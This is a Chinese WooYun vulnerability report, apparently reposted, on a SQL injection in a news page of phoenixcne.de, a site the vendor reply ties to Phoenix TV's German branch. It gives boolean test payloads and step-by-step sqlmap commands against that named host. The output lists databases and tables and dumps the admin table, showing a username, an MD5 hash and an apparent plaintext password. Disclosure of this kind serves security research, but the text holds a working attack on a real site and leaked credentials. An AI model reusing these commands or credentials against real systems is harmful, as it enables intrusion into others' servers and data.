凤凰网某站点高危SQL注入可获取管理员帐号密码

admin 2015年8月13日21:47:34评论312 views字数 203阅读0分40秒阅读模式
摘要

2014-11-18: 细节已通知厂商并且等待厂商处理中
2014-11-18: 厂商已经确认,细节仅向厂商公开
2014-11-28: 细节向核心白帽子及相关领域专家公开
2014-12-08: 细节向普通白帽子公开
2014-12-18: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

漏洞概要 关注数(1) 关注此漏洞

缺陷编号: WooYun-2014-83722

漏洞标题: 凤凰网某站点高危SQL注入可获取管理员帐号密码

相关厂商: 凤凰网

漏洞作者: 路人甲

提交时间: 2014-11-18 14:18

公开时间: 2015-01-02 14:20

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

0人收藏


漏洞详情

披露状态:

2014-11-18: 细节已通知厂商并且等待厂商处理中
2014-11-18: 厂商已经确认,细节仅向厂商公开
2014-11-28: 细节向核心白帽子及相关领域专家公开
2014-12-08: 细节向普通白帽子公开
2014-12-18: 细节向实习白帽子公开
2015-01-02: 细节向公众公开

简要描述:

sql注射

详细说明:

http://www.phoenixcne.de/caiji_news_content.php?news_id=136033 and 1=1

http://www.phoenixcne.de/caiji_news_content.php?news_id=136033 and 1=2

漏洞证明:

~# sqlmap -u "http://www.phoenixcne.de/caiji_news_content.php?news_id=136033" --current-user

code 区域
[10:29:32] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[10:29:32] [INFO] fetching current user
[10:29:32] [INFO] resumed:
current user: ''

数据库列表:

~#sqlmap -u "http://www.phoenixcne.de/caiji_news_content.php?news_id=136033" --dbs

code 区域
available databases [2]:
[*] `db1121697-new2`
[*] information_schema

~# sqlmap -u "http://www.phoenixcne.de/caiji_news_content.php?news_id=136033" -D db1121697-new2 --tables

部分表:

code 区域
Database: db1121697-new2
[32 tables]
+------------------+
| parameter |
| advertise |
| article |
| candidate |
| candidate_pic |
| comment |
| favorite |
| game |
| game_album |
| game_notice |
| game_pic |
| game_switch |
| game_video |
| grab_record |
| hobby |
| links |
| manager |
| message |
| message_history |
...
...

爆帐号,密码:

~# sqlmap -u "http://www.phoenixcne.de/caiji_news_content.php?news_id=136033" -D db1121697-new2 -T manager -C "name,password" --dump

code 区域
Table: manager


| name | password

| Frankqqxx# | 8acb9078a364545e924b9d5523f54e60

frankfurt!

登录后台

凤凰网某站点高危SQL注入可获取管理员帐号密码

修复方案:

你们比我懂

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-11-18 14:26

厂商回复:

谢谢,这个漏洞是已知漏洞,并非凤凰网及凤凰新媒体下的业务,是凤凰卫视下德国分部的业务,我们已经转发过给他们并提供解决方案,我们会再次转告。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin